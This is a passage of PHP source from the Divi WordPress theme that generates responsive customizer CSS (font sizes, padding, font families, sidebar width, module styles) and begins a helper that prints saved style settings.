			<?php if ( 14 !== $tablet_body_font_size && $body_font_size !== $tablet_body_font_size ) { ?>
				<?php echo esc_html( $body_selector_sibling ); ?>
				<?php echo esc_html( $body_selector ); ?>,
				<?php echo $css( '.et_pb_column_1_2 .et_quote_content blockquote cite', false ); ?>,
				<?php echo $css( '.et_pb_column_1_2 .et_link_content a.et_link_main_url', false ); ?>,
				<?php echo $css( '.et_pb_column_1_3 .et_quote_content blockquote cite', false ); ?>,
				<?php echo $css( '.et_pb_column_3_8 .et_quote_content blockquote cite', false ); ?>,
				<?php echo $css( '.et_pb_column_1_4 .et_quote_content blockquote cite', false ); ?>,
				<?php echo $css( '.et_pb_blog_grid .et_quote_content blockquote cite', false ); ?>,
				<?php echo $css( '.et_pb_column_1_3 .et_link_content a.et_link_main_url', false ); ?>,
				<?php echo $css( '.et_pb_column_3_8 .et_link_content a.et_link_main_url', false ); ?>,
				<?php echo $css( '.et_pb_column_1_4 .et_link_content a.et_link_main_url', false ); ?>,
				<?php echo $css( '.et_pb_blog_grid .et_link_content a.et_link_main_url', false ); ?> {
					font-size: <?php echo esc_html( $tablet_body_font_size ); ?>px;
				}
				<?php echo $css( '.et_pb_slider.et_pb_module .et_pb_slides .et_pb_slide_content', false ); ?>,
				<?php echo $css( '.et_pb_best_value', false ); ?> {
					font-size: <?php echo esc_html( intval( $tablet_body_font_size * 1.14 ) ); ?>px;
				}
			<?php } ?>
			<?php if ( 30 !== $tablet_header_font_size && $tablet_header_font_size !== $body_header_size ) { ?>
				<?php echo $css( 'h1' ); ?> {
					font-size: <?php echo esc_html( $tablet_header_font_size ); ?>px;
				}
				<?php echo $css( 'h2' ); ?>,
				<?php echo $css( '.product .related h2' ); ?>,
				<?php echo $css( '.et_pb_column_1_2 .et_quote_content blockquote p', false ); ?> {
					font-size: <?php echo esc_html( intval( $tablet_header_font_size * .86 ) ) ; ?>px;
				}
				<?php echo $css( 'h3' ); ?> {
					font-size: <?php echo esc_html( intval( $tablet_header_font_size * .73 ) ); ?>px;
				}
				<?php echo $css( 'h4', false ); ?>,
				<?php echo $css( '.et_pb_circle_counter h3', false ); ?>,
				<?php echo $css( '.et_pb_number_counter h3', false ); ?>,
				<?php echo $css( '.et_pb_column_1_3 .et_pb_post h2', false ); ?>,
				<?php echo $css( '.et_pb_column_1_4 .et_pb_post h2', false ); ?>,
				<?php echo $css( '.et_pb_blog_grid h2', false ); ?>,
				<?php echo $css( '.et_pb_column_1_3 .et_quote_content blockquote p', false ); ?>,
				<?php echo $css( '.et_pb_column_3_8 .et_quote_content blockquote p', false ); ?>,
				<?php echo $css( '.et_pb_column_1_4 .et_quote_content blockquote p', false ); ?>,
				<?php echo $css( '.et_pb_blog_grid .et_quote_content blockquote p', false ); ?>,
				<?php echo $css( '.et_pb_column_1_3 .et_link_content h2', false ); ?>,
				<?php echo $css( '.et_pb_column_3_8 .et_link_content h2', false ); ?>,
				<?php echo $css( '.et_pb_column_1_4 .et_link_content h2', false ); ?>,
				<?php echo $css( '.et_pb_blog_grid .et_link_content h2', false ); ?>,
				<?php echo $css( '.et_pb_column_1_3 .et_audio_content h2', false ); ?>,
				<?php echo $css( '.et_pb_column_3_8 .et_audio_content h2', false ); ?>,
				<?php echo $css( '.et_pb_column_1_4 .et_audio_content h2', false ); ?>,
				<?php echo $css( '.et_pb_blog_grid .et_audio_content h2', false ); ?>,
				<?php echo $css( '.et_pb_column_3_8 .et_pb_audio_module_content h2', false ); ?>,
				<?php echo $css( '.et_pb_column_1_3 .et_pb_audio_module_content h2', false ); ?>,
				<?php echo $css( '.et_pb_gallery_grid .et_pb_gallery_item h3', false ); ?>,
				<?php echo $css( '.et_pb_portfolio_grid .et_pb_portfolio_item h2', false ); ?>,
				<?php echo $css( '.et_pb_filterable_portfolio_grid .et_pb_portfolio_item h2', false ); ?> {
					font-size: <?php echo esc_html( intval( $tablet_header_font_size * .6 ) ); ?>px;
				}
				<?php echo $css( '.et_pb_slider.et_pb_module .et_pb_slides .et_pb_slide_description .et_pb_slide_title', false ); ?> {
					font-size: <?php echo esc_html( intval( $tablet_header_font_size * 1.53 ) ); ?>px;
				}
				<?php if ( et_is_woocommerce_plugin_active() ) { ?>
					<?php echo $css( '.woocommerce', 'ul.products li.product h3' ); ?>,
					<?php echo $css( '.woocommerce-page', 'ul.products li.product h3' ); ?>,
				<?php } ?>
				<?php echo $css( '.et_pb_gallery_grid .et_pb_gallery_item h3', false ); ?>,
				<?php echo $css( '.et_pb_portfolio_grid .et_pb_portfolio_item h2', false ); ?>,
				<?php echo $css( '.et_pb_filterable_portfolio_grid .et_pb_portfolio_item h2', false ); ?>,
				<?php echo $css( '.et_pb_column_1_4 .et_pb_audio_module_content h2', false ); ?> {
					font-size: <?php echo esc_html( intval( $tablet_header_font_size * .53 ) ); ?>px;
				}
				<?php echo $css( 'h5' ); ?> {
					font-size: <?php echo esc_html( intval( $tablet_header_font_size * .53 ) ); ?>px;
				}
				<?php echo $css( 'h6' ); ?> {
					font-size: <?php echo esc_html( intval( $tablet_header_font_size * .47 ) ); ?>px;
				}
			<?php } ?>
			<?php if ( 50 !== $tablet_section_height ) { ?>
				<?php echo $css( '.et_pb_section', false ); ?> {
					padding: <?php echo esc_html( $tablet_section_height ); ?>px 0;
				}
				<?php echo $css( '.et_pb_section.et_pb_fullwidth_section', false ); ?> {
					padding: 0;
				}
			<?php } ?>
			<?php if ( 30 !== $tablet_row_height ) { ?>
				<?php echo $css( '.et_pb_row', false ); ?>,
				<?php echo $css( '.et_pb_column .et_pb_row_inner', false ); ?> {
					padding: <?php echo esc_html( $tablet_row_height ); ?>px 0;
				}
			<?php } ?>
		}
		@media only screen and ( max-width: 767px ) {
			<?php if ( 14 !== $phone_body_font_size && $phone_body_font_size !== $tablet_body_font_size ) { ?>
				<?php echo esc_html( $body_selector_sibling ); ?>
				<?php echo esc_html( $body_selector ); ?>,
				<?php echo $css( '.et_pb_column_1_2 .et_quote_content blockquote cite', false ); ?>,
				<?php echo $css( '.et_pb_column_1_2 .et_link_content a.et_link_main_url', false ); ?>,
				<?php echo $css( '.et_pb_column_1_3 .et_quote_content blockquote cite', false ); ?>,
				<?php echo $css( '.et_pb_column_3_8 .et_quote_content blockquote cite', false ); ?>,
				<?php echo $css( '.et_pb_column_1_4 .et_quote_content blockquote cite', false ); ?>,
				<?php echo $css( '.et_pb_blog_grid .et_quote_content blockquote cite', false ); ?>,
				<?php echo $css( '.et_pb_column_1_3 .et_link_content a.et_link_main_url', false ); ?>,
				<?php echo $css( '.et_pb_column_3_8 .et_link_content a.et_link_main_url', false ); ?>,
				<?php echo $css( '.et_pb_column_1_4 .et_link_content a.et_link_main_url', false ); ?>,
				<?php echo $css( '.et_pb_blog_grid .et_link_content a.et_link_main_url', false ); ?> {
					font-size: <?php echo esc_html( $phone_body_font_size ); ?>px;
				}
				<?php echo $css( '.et_pb_slider.et_pb_module .et_pb_slides .et_pb_slide_content', false ); ?>,
				<?php echo $css( '.et_pb_best_value', false ); ?> {
					font-size: <?php echo esc_html( intval( $phone_body_font_size * 1.14 ) ); ?>px;
				}
			<?php } ?>
			<?php if ( 30 !== $phone_header_font_size && $tablet_header_font_size !== $phone_header_font_size ) { ?>
				<?php echo $css( 'h1' ); ?> {
					font-size: <?php echo esc_html( $phone_header_font_size ); ?>px;
				}
				<?php echo $css( 'h2' ); ?>,
				<?php echo $css( '.product .related h2' ); ?>,
				<?php echo $css( '.et_pb_column_1_2 .et_quote_content blockquote p', false ); ?> {
					font-size: <?php echo esc_html( intval( $phone_header_font_size * .86 ) ) ; ?>px;
				}
				<?php echo $css( 'h3' ); ?> {
					font-size: <?php echo esc_html( intval( $phone_header_font_size * .73 ) ); ?>px;
				}
				<?php echo $css( 'h4' ); ?>,
				<?php echo $css( '.et_pb_circle_counter h3', false ); ?>,
				<?php echo $css( '.et_pb_number_counter h3', false ); ?>,
				<?php echo $css( '.et_pb_column_1_3 .et_pb_post h2', false ); ?>,
				<?php echo $css( '.et_pb_column_1_4 .et_pb_post h2', false ); ?>,
				<?php echo $css( '.et_pb_blog_grid h2', false ); ?>,
				<?php echo $css( '.et_pb_column_1_3 .et_quote_content blockquote p', false ); ?>,
				<?php echo $css( '.et_pb_column_3_8 .et_quote_content blockquote p', false ); ?>,
				<?php echo $css( '.et_pb_column_1_4 .et_quote_content blockquote p', false ); ?>,
				<?php echo $css( '.et_pb_blog_grid .et_quote_content blockquote p', false ); ?>,
				<?php echo $css( '.et_pb_column_1_3 .et_link_content h2', false ); ?>,
				<?php echo $css( '.et_pb_column_3_8 .et_link_content h2', false ); ?>,
				<?php echo $css( '.et_pb_column_1_4 .et_link_content h2', false ); ?>,
				<?php echo $css( '.et_pb_blog_grid .et_link_content h2', false ); ?>,
				<?php echo $css( '.et_pb_column_1_3 .et_audio_content h2', false ); ?>,
				<?php echo $css( '.et_pb_column_3_8 .et_audio_content h2', false ); ?>,
				<?php echo $css( '.et_pb_column_1_4 .et_audio_content h2', false ); ?>,
				<?php echo $css( '.et_pb_blog_grid .et_audio_content h2', false ); ?>,
				<?php echo $css( '.et_pb_column_3_8 .et_pb_audio_module_content h2', false ); ?>,
				<?php echo $css( '.et_pb_column_1_3 .et_pb_audio_module_content h2', false ); ?>,
				<?php echo $css( '.et_pb_gallery_grid .et_pb_gallery_item h3', false ); ?>,
				<?php echo $css( '.et_pb_portfolio_grid .et_pb_portfolio_item h2', false ); ?>,
				<?php echo $css( '.et_pb_filterable_portfolio_grid .et_pb_portfolio_item h2', false ); ?> {
					font-size: <?php echo esc_html( intval( $phone_header_font_size * .6 ) ); ?>px;
				}
				<?php echo $css( '.et_pb_slider.et_pb_module .et_pb_slides .et_pb_slide_description .et_pb_slide_title', false ); ?> {
					font-size: <?php echo esc_html( intval( $phone_header_font_size * 1.53 ) ); ?>px;
				}
				<?php if ( et_is_woocommerce_plugin_active() ) { ?>
					<?php echo $css( '.woocommerce', 'ul.products li.product h3' ); ?>,
					<?php echo $css( '.woocommerce-page', 'ul.products li.product h3' ); ?>,
				<?php } ?>
				<?php echo $css( '.et_pb_gallery_grid .et_pb_gallery_item h3', false ); ?>,
				<?php echo $css( '.et_pb_portfolio_grid .et_pb_portfolio_item h2', false ); ?>,
				<?php echo $css( '.et_pb_filterable_portfolio_grid .et_pb_portfolio_item h2', false ); ?>,
				<?php echo $css( '.et_pb_column_1_4 .et_pb_audio_module_content h2', false ); ?> {
					font-size: <?php echo esc_html( intval( $phone_header_font_size * .53 ) ); ?>px;
				}
				<?php echo $css( 'h5' ); ?> {
					font-size: <?php echo esc_html( intval( $phone_header_font_size * .53 ) ) ?>px;
				}
				<?php echo $css( 'h6' ); ?> {
					font-size: <?php echo esc_html( intval( $phone_header_font_size * .47 ) ) ?>px;
				}
			<?php } ?>
			<?php if ( 50 !== $phone_section_height && $tablet_section_height !== $phone_section_height ) { ?>
				<?php echo $css( '.et_pb_section', false ); ?> {
					padding: <?php echo esc_html( $phone_section_height ); ?>px 0;
				}
				<?php echo $css( '.et_pb_section.et_pb_fullwidth_section', false ); ?> {
					padding: 0;
				}
			<?php } ?>
			<?php if ( 30 !== $phone_row_height && $tablet_row_height !== $phone_row_height ) { ?>
				<?php echo $css( '.et_pb_row', false ); ?>,
				<?php echo $css( '.et_pb_column .et_pb_row_inner', false ); ?> {
					padding: <?php echo esc_html( $phone_row_height ); ?>px 0;
				}
			<?php } ?>
		}

	<?php // <<<--------- END THEME CUSTOMIZER CSS --------->>>

		/**
		 * Filter Theme Customizer CSS output.
		 *
		 * @since 3.0.51
		 *
		 * @param string $theme_customizer_css
		 */
		$css_output[] = apply_filters( 'et_divi_theme_customizer_css_output', ob_get_clean() );

		$et_gf_heading_font = sanitize_text_field( et_pb_get_specific_default_font( et_get_option( 'heading_font', 'none' ) ) );
		$et_gf_body_font = sanitize_text_field( et_pb_get_specific_default_font( et_get_option( 'body_font', 'none' ) ) );
		$et_gf_buttons_font = sanitize_text_field( et_pb_get_specific_default_font( et_get_option( 'all_buttons_font', 'none' ) ) );
		$et_gf_primary_nav_font = sanitize_text_field( et_pb_get_specific_default_font( et_get_option( 'primary_nav_font', 'none' ) ) );
		$et_gf_secondary_nav_font = sanitize_text_field( et_pb_get_specific_default_font( et_get_option( 'secondary_nav_font', 'none' ) ) );
		$et_gf_slide_nav_font = sanitize_text_field( et_pb_get_specific_default_font( et_get_option( 'slide_nav_font', 'none' ) ) );

		/* =========================================
		 * --------->>> BEGIN FONTS CSS <<<---------
		 * ========================================= */
		ob_start();

	if ( ! in_array( $et_gf_heading_font, array( '', 'none' ), true ) || ! in_array( $et_gf_body_font, array( '', 'none' ), true ) || ! in_array( $et_gf_buttons_font, array( '', 'none' ), true ) || ! in_array( $et_gf_primary_nav_font, array( '', 'none' ), true ) || ! in_array( $et_gf_secondary_nav_font, array( '', 'none' ), true ) || ! in_array( $et_gf_slide_nav_font, array( '', 'none' ), true ) ) {
			if ( ! in_array( $et_gf_heading_font, array( '', 'none' ) ) ) {
				?>
				<?php echo $css( 'h1' ); ?>,
				<?php echo $css( 'h2' ); ?>,
				<?php echo $css( 'h3' ); ?>,
				<?php echo $css( 'h4' ); ?>,
				<?php echo $css( 'h5' ); ?>,
				<?php echo $css( 'h6' ); ?> {
					<?php echo sanitize_text_field( et_builder_get_font_family( $et_gf_heading_font ) ); ?>
				}
			<?php }

			if ( ! in_array( $et_gf_body_font, array( '', 'none' ) ) ) { ?>
				body,
				<?php echo $css( 'input' ); ?>,
				<?php echo $css( 'textarea' ); ?>,
				<?php echo $css( 'select' ); ?> {
					<?php echo sanitize_text_field( et_builder_get_font_family( $et_gf_body_font ) ); ?>
				}
			<?php }

			if ( ! in_array( $et_gf_buttons_font, array( '', 'none' ) ) ) { ?>
				<?php echo $css( '.et_pb_button', false ); ?> {
					<?php echo sanitize_text_field( et_builder_get_font_family( $et_gf_buttons_font ) ); ?>
				}
			<?php }

			if ( ! in_array( $et_gf_primary_nav_font, array( '', 'none' ) ) ) { ?>
				#main-header,
				#et-top-navigation {
					<?php echo sanitize_text_field( et_builder_get_font_family( $et_gf_primary_nav_font ) ); ?>
				}
			<?php }

			if ( ! in_array( $et_gf_secondary_nav_font, array( '', 'none' ) ) ) { ?>
				#top-header .container {
					<?php echo sanitize_text_field( et_builder_get_font_family( $et_gf_secondary_nav_font ) ); ?>
				}
			<?php }

			if ( ! in_array( $et_gf_slide_nav_font, array( '', 'none' ) ) ) { ?>
				.et_slide_in_menu_container, .et_slide_in_menu_container .et-search-field{
					<?php echo sanitize_text_field( et_builder_get_font_family( $et_gf_slide_nav_font ) ); ?>
				}
			<?php }
		} // <<<--------- END FONTS CSS --------->>>

		/**
		 * Filter fonts CSS output.
		 *
		 * @since 3.0.51
		 *
		 * @param string $css_output
		 */
		$css_output[] = apply_filters( 'et_divi_fonts_css_output', ob_get_clean() );

		/**
		 * use_sidebar_width might invalidate the use of sidebar_width.
		 * It is placed outside other customizer style so live preview
		 * can invalidate and revalidate it for smoother experience
		 */
		if ( $use_sidebar_width && 21 !== $sidebar_width && 19 <= $sidebar_width && 33 >= $sidebar_width ) {
			$content_width = 100 - $sidebar_width;
			$content_width_percentage = $content_width . '%';
			$sidebar_width_percentage = $sidebar_width . '%';
			$sidebar_width_css        = sprintf(
				'body #page-container #sidebar { width:%2$s; }
				body #page-container #left-area { width:%1$s; }
				.et_right_sidebar #main-content .container:before { right:%2$s !important; }
				.et_left_sidebar #main-content .container:before { left:%2$s !important; }',
				esc_html( $content_width_percentage  ),
				esc_html( $sidebar_width_percentage )
			);

			/**
			 * Filter sidebar width CSS output.
			 *
			 * @since 3.0.51
			 *
			 * @param string $sidebar_width_css
			 */
			$css_output[] = apply_filters( 'et_divi_sidebar_width_css_output', $sidebar_width_css );
		}

		/* ====================================================
		 * --------->>> BEGIN MODULE CUSTOMIZER CSS <<<--------
		 * ==================================================== */

		/**
		 * @since ??
		 *
		 * Module Customizer contains only CSS responsible for the font size options.
		 * The CSS is printed only if website has an unmigrated Module Customizer font size values into the
		 * new Global Defaults system. The values suppose to be migrated at the first time when Global Defaults
		 * changes are saved.
		 */

		$custom_defaults_unmigrated = et_get_option( 'builder_custom_defaults_unmigrated', false );

		// Module customizer should only be printed if current page uses builder to avoid module
		// customizer styling being cached on `et-divi-customizer-global-*css` file which is only
		// served on non-builder page
		if ( et_core_is_builder_used_on_current_request() && $custom_defaults_unmigrated ) {

			ob_start();

			/* Gallery */
			et_pb_print_module_styles_css( 'et_pb_gallery', array(
				array(
					'type'		=> 'font-size',
					'key' 		=> 'title_font_size',
					'selector' 	=> '.et_pb_gallery_grid .et_pb_gallery_item .et_pb_gallery_title',
				),
				array(
					'type'		=> 'font-size',
					'key' 		=> 'caption_font_size',
					'selector' 	=> '.et_pb_gallery .et_pb_gallery_item .et_pb_gallery_caption',
				),
			) );

			/* Blurb */
			et_pb_print_module_styles_css( 'et_pb_blurb', array(
				array(
					'type' 		=> 'font-size',
					'key' 		=> 'header_font_size',
					'selector' 	=> '.et_pb_blurb h4',
				),
			) );

			/* Tabs */
			et_pb_print_module_styles_css( 'et_pb_tabs', array(
				array(
					'type' 		=> 'font-size',
					'key' 		=> 'title_font_size',
					'selector' 	=> '.et_pb_tabs_controls li',
				),
				array(
					'type' 		=> 'padding-tabs',
					'key' 		=> 'padding',
					'selector' 	=> '',
				),
			) );

			/* Slider */
			et_pb_print_module_styles_css( 'et_pb_slider', array(
				array(
					'type' 		=> 'font-size',
					'key' 		=> 'header_font_size',
					'selector' 	=> '.et_pb_slider_fullwidth_off .et_pb_slide_description .et_pb_slide_title',
				),
				array(
					'type' 		=> 'font-size',
					'key' 		=> 'body_font_size',
					'selector' 	=> '.et_pb_slider_fullwidth_off .et_pb_slide_content',
				),
				array(
					'type' 		=> 'padding-slider',
					'key' 		=> 'padding',
					'selector' 	=> '.et_pb_slider_fullwidth_off .et_pb_slide_description',
				),
			) );

			/* Pricing Table */
			et_pb_print_module_styles_css( 'et_pb_pricing_tables', array(
				array(
					'type' 		=> 'font-size',
					'key' 		=> 'header_font_size',
					'selector' 	=> '.et_pb_pricing_heading h2',
				),
				array(
					'type' 		=> 'font-size',
					'key' 		=> 'subheader_font_size',
					'selector' 	=> '.et_pb_best_value',
				),
				array(
					'type' 		=> 'font-size',
					'key' 		=> 'price_font_size',
					'selector' 	=> '.et_pb_sum',
				),
			) );

			/* Call to Action */
			et_pb_print_module_styles_css( 'et_pb_cta', array(
				array(
					'type' 		=> 'font-size',
					'key' 		=> 'header_font_size',
					'selector' 	=> '.et_pb_promo h2',
				),
				array(
					'type' 		=> 'padding-call-to-action',
					'key' 		=> 'custom_padding',
					'selector' 	=> '',
					'important' => true,
				),
			) );

			/* Audio */
			et_pb_print_module_styles_css( 'et_pb_audio', array(
				array(
					'type' 		=> 'font-size',
					'key' 		=> 'title_font_size',
					'selector' 	=> '.et_pb_audio_module_content h2',
				),
				array(
					'type' 		=> 'font-size',
					'key' 		=> 'caption_font_size',
					'selector' 	=> '.et_pb_audio_module p',
				),
			) );

			/* Email Optin */
			et_pb_print_module_styles_css( 'et_pb_signup', array(
				array(
					'type' 		=> 'font-size',
					'key' 		=> 'header_font_size',
					'selector' 	=> '.et_pb_subscribe h2',
				),
				array(
					'type' 		=> 'padding',
					'key' 		=> 'padding',
					'selector' 	=> '.et_pb_subscribe',
				),
			) );

			/* Login */
			et_pb_print_module_styles_css( 'et_pb_login', array(
				array(
					'type' 		=> 'font-size',
					'key' 		=> 'header_font_size',
					'selector' 	=> '.et_pb_login h2',
				),
				array(
					'type' 		=> 'padding-top-bottom',
					'key' 		=> 'custom_padding',
					'selector' 	=> '.et_pb_login',
				),
			) );

			/* Portfolio */
			et_pb_print_module_styles_css( 'et_pb_portfolio', array(
				array(
					'type' 		=> 'font-size',
					'key' 		=> 'title_font_size',
					'selector' 	=> '.et_pb_portfolio .et_pb_portfolio_item h2, .et_pb_fullwidth_portfolio .et_pb_portfolio_item h3, .et_pb_portfolio_grid .et_pb_portfolio_item h2',
				),
				array(
					'type' 		=> 'font-size',
					'key' 		=> 'caption_font_size',
					'selector' 	=> '.et_pb_portfolio .et_pb_portfolio_item .post-meta, .et_pb_fullwidth_portfolio .et_pb_portfolio_item .post-meta, .et_pb_portfolio_grid .et_pb_portfolio_item .post-meta',
				),
			) );

			/* Filterable Portfolio */
			et_pb_print_module_styles_css( 'et_pb_filterable_portfolio', array(
				array(
					'type' 		=> 'font-size',
					'key' 		=> 'title_font_size',
					'selector' 	=> '.et_pb_filterable_portfolio .et_pb_portfolio_item h2',
				),
				array(
					'type' 		=> 'font-size',
					'key' 		=> 'caption_font_size',
					'selector' 	=> '.et_pb_filterable_portfolio .et_pb_portfolio_item .post-meta',
				),
				array(
					'type' 		=> 'font-size',
					'key' 		=> 'filter_font_size',
					'selector' 	=> '.et_pb_filterable_portfolio .et_pb_portfolio_filters li',
				),
			) );

			/* Bar Counter */
			et_pb_print_module_styles_css( 'et_pb_counters', array(
				array(
					'type' 		=> 'font-size',
					'key' 		=> 'title_font_size',
					'selector' 	=> '.et_pb_counters .et_pb_counter_title',
				),
				array(
					'type' 		=> 'font-size',
					'key' 		=> 'percent_font_size',
					'selector' 	=> '.et_pb_counters .et_pb_counter_amount',
				),
				array(
					'type' 		=> 'padding',
					'key' 		=> 'padding',
					'selector' 	=> '.et_pb_counter_amount',
				),
			) );

			/* Circle Counter */
			et_pb_print_module_styles_css( 'et_pb_circle_counter', array(
				array(
					'type' 		=> 'font-size',
					'key' 		=> 'number_font_size',
					'selector' 	=> '.et_pb_circle_counter .percent p',
				),
				array(
					'type' 		=> 'font-size',
					'key' 		=> 'title_font_size',
					'selector' 	=> '.et_pb_circle_counter h3',
				),
			) );

			/* Number Counter */
			et_pb_print_module_styles_css( 'et_pb_number_counter', array(
				array(
					'type' 		=> 'font-size',
					'key' 		=> 'number_font_size',
					'selector' 	=> '.et_pb_number_counter .percent p',
				),
				array(
					'type' 		=> 'font-size',
					'key' 		=> 'title_font_size',
					'selector' 	=> '.et_pb_number_counter h3',
				),
			) );

			/* Accordion */
			et_pb_print_module_styles_css( 'et_pb_accordion', array(
				array(
					'type' 		=> 'font-size',
					'key' 		=> 'toggle_font_size',
					'selector' 	=> '.et_pb_accordion .et_pb_toggle_title',
				),
				array(
					'type' 		=> 'padding',
					'key' 		=> 'custom_padding',
					'selector' 	=> '.et_pb_accordion .et_pb_toggle_open, .et_pb_accordion .et_pb_toggle_close',
				),
			) );

			/* Toggle */
			et_pb_print_module_styles_css( 'et_pb_toggle', array(
				array(
					'type' 		=> 'font-size',
					'key' 		=> 'title_font_size',
					'selector' 	=> '.et_pb_toggle.et_pb_toggle_item h5',
				),
				array(
					'type' 		=> 'padding',
					'key' 		=> 'custom_padding',
					'selector' 	=> '.et_pb_toggle.et_pb_toggle_item',
				),
			) );

			/* Contact Form */
			et_pb_print_module_styles_css( 'et_pb_contact_form', array(
				array(
					'type' 		=> 'font-size',
					'key' 		=> 'title_font_size',
					'selector' 	=> '.et_pb_contact_form_container .et_pb_contact_main_title',
				),
				array(
					'type' 		=> 'font-size',
					'key' 		=> 'form_field_font_size',
					'selector' 	=> '.et_pb_contact_form_container .et_pb_contact p input, .et_pb_contact_form_container .et_pb_contact p textarea',
				),
				array(
					'type' 		=> 'font-size',
					'key' 		=> 'captcha_font_size',
					'selector' 	=> '.et_pb_contact_captcha_question',
				),
				array(
					'type' 		=> 'padding',
					'key' 		=> 'padding',
					'selector' 	=> '.et_pb_contact p input, .et_pb_contact p textarea',
				),
			) );

			/* Sidebar */
			et_pb_print_module_styles_css( 'et_pb_sidebar', array(
				array(
					'type' 		=> 'font-size',
					'key' 		=> 'header_font_size',
					'selector' 	=> '.et_pb_widget_area h4',
				),
			) );

			/* Person */
			et_pb_print_module_styles_css( 'et_pb_team_member', array(
				array(
					'type' 		=> 'font-size',
					'key' 		=> 'header_font_size',
					'selector' 	=> '.et_pb_team_member h4',
				),
				array(
					'type' 		=> 'font-size',
					'key' 		=> 'subheader_font_size',
					'selector' 	=> '.et_pb_team_member .et_pb_member_position',
				),
			) );

			/* Blog */
			et_pb_print_module_styles_css( 'et_pb_blog', array(
				array(
					'type' 		=> 'font-size',
					'key' 		=> 'header_font_size',
					'selector' 	=> '.et_pb_posts .et_pb_post h2',
				),
				array(
					'type' 		=> 'font-size',
					'key' 		=> 'meta_font_size',
					'selector' 	=> '.et_pb_posts .et_pb_post .post-meta',
				),
			) );

			/* Blog Masonry */
			et_pb_print_module_styles_css( 'et_pb_blog_masonry', array(
				array(
					'type' 		=> 'font-size',
					'key' 		=> 'header_font_size',
					'selector' 	=> '.et_pb_blog_grid .et_pb_post h2',
				),
				array(
					'type' 		=> 'font-size',
					'key' 		=> 'meta_font_size',
					'selector' 	=> '.et_pb_blog_grid .et_pb_post .post-meta',
				),
			) );

			/* Shop */
			et_pb_print_module_styles_css( 'et_pb_shop', array(
				array(
					'type' 		=> 'font-size',
					'key' 		=> 'title_font_size',
					'selector' 	=> '.woocommerce ul.products li.product h3, .woocommerce-page ul.products li.product h3',
					'important' => false,
				),
				array(
					'type' 		=> 'font-size',
					'key' 		=> 'sale_badge_font_size',
					'selector' 	=> '.woocommerce span.onsale, .woocommerce-page span.onsale',
					'important' => false,
				),
				array(
					'type' 		=> 'font-size',
					'key' 		=> 'price_font_size',
					'selector' 	=> '.woocommerce ul.products li.product .price .amount, .woocommerce-page ul.products li.product .price .amount',
					'important' => false,
				),
				array(
					'type' 		=> 'font-size',
					'key' 		=> 'sale_price_font_size',
					'selector' 	=> '.woocommerce ul.products li.product .price ins .amount, .woocommerce-page ul.products li.product .price ins .amount',
					'important' => false,
				),
			) );

			/* Countdown */
			et_pb_print_module_styles_css( 'et_pb_countdown_timer', array(
				array(
					'type' 		=> 'font-size',
					'key' 		=> 'header_font_size',
					'selector' 	=> '.et_pb_countdown_timer .title',
				),
			) );

			/* Social */
			et_pb_print_module_styles_css( 'et_pb_social_media_follow', array(
				array(
					'type' 		=> 'social-icon-size',
					'key' 		=> 'icon_size',
					'selector' 	=> '',
				),
			) );

			/* Fullwidth Slider */
			et_pb_print_module_styles_css( 'et_pb_fullwidth_slider', array(
				array(
					'type' 		=> 'font-size',
					'key' 		=> 'header_font_size',
					'selector' 	=> '.et_pb_fullwidth_section .et_pb_slide_description .et_pb_slide_title',
					'default' 	=> '46',
				),
				array(
					'type' 		=> 'font-size',
					'key' 		=> 'body_font_size',
					'selector' 	=> '.et_pb_fullwidth_section .et_pb_slide_content',
					'default' 	=> 16,
				),
				array(
					'type' 		=> 'padding-slider',
					'key' 		=> 'padding',
					'selector' 	=> '.et_pb_fullwidth_section .et_pb_slide_description',
					'default' 	=> '16',
				),
			) ); // <<<--------- END MODULE CUSTOMIZER CSS --------->>>

			/**
			 * Filter Module Customizer CSS output.
			 *
			 * @since 3.0.51
			 *
			 * @param string $module_customizer_css
			 */
			$css_output[] = apply_filters( 'et_divi_module_customizer_css_output', ob_get_clean() );
		}

		// Give the output to the style manager so a static resource can be created and served.
		$styles_manager->set_data( implode( '\n', $css_output ) );
}
add_action( 'wp', 'et_divi_add_customizer_css' );

/**
 * Outputting saved customizer style settings
 *
 * @return void
 */
function et_pb_print_css( $setting ) {

	// Defaults value
	$defaults = array(
		'key'       => false,
		'selector'  => false,
		'type'      => false,
		'default'   => false,
		'important' => false
	);

	// Parse given settings aginst defaults
	$setting = wp_parse_args( $setting, $defaults );

	if (
		$setting['key']      !== false ||
		$setting['selector'] !== false ||
		$setting['type']     !== false ||
		$setting['settings'] !== false
	) {

		// Some attribute requires !important tag
		if ( $setting['important'] ) {
			$important = "!important";
		} else {
			$important = "";
		}

		// get value
		$value = et_get_option( $setting['key'], $setting['default'] );

		// Output css based on its type
		if ( $value !== false && $value != $setting['default'] ) {
			switch ( $setting['type'] ) {
				case 'font-size':
					printf( '%1$s { font-size: %2$spx %3$s; }',
						esc_html( $setting['selector'] ),
						esc_html( $value ),
						$important );
					break;

				case 'font-size-post-header':
					$posts_font_size = intval( $value ) * ( 26 / 30 );
					printf( 'body.home-posts #left-area .et_pb_post h2, body.archive #left-area .et_pb_post h2, body.search #left-area .et_pb_post h2 { font-size:%1$spx }
						body.single .et_post_meta_wrapper h1 { font-size:%2$spx; }',
						esc_html( $posts_font_size ),
						esc_html( $value )
					);
					break;

				case 'font-style':
					printf( '%1$s { %2$s }',
						esc_html( $setting['selector'] ),
						et_pb_print_font_style( $value, $important )
					);
					break;

				case 'letter-spacing':
					printf( '%1$s { letter-spacing: %2$spx %3$s; }',
						esc_html( $setting['selector'] ),
						esc_html( $value ),
						$important
					);
					break;

				case 'line-height':
					printf( '%1$s { line-height: %2$sem %3$s; }',
						esc_html( $setting['selector'] ),
						esc_html( $value ),
						$important
					);
					break;

				case 'color':
					printf( '%1$s { color: %2$s; }',
						esc_html( $setting['selector'] ),
						esc_html( $value )
					);
					break;

				case 'background-color':
					printf( '%1$s { background-color: %2$s; }',
						esc_html( $setting['selector'] ),
						esc_html( $value )
					);
					break;

				case 'border-radius':
					printf( '%1$s { -moz-border-radius: %2$spx; -webkit-border-radius: %2$spx; border-radius: %2$spx; }',
						esc_html( $setting['selector'] ),
						esc_html( $value )
					);
					break;

				case 'width':
					printf( '%1$s { width: %2$spx; }',
						esc_html( $setting['selector'] ),
						esc_html( $value )
					);
					break;

				case 'height':
					printf( '%1$s { height: %2$spx; }',
						esc_html( $setting['selector'] ),
						esc_html( $value )
					);
					break;

				case 'padding':
					printf( '%1$s { padding: %2$spx; }',
						esc_html( $setting['selector'] ),
						esc_html( $value )
					);
					break;

				case 'padding-top-bottom':
					printf( '%1$s { padding: %2$spx 0; }',
						esc_html( $setting['selector'] ),
						esc_html( $value )
					);
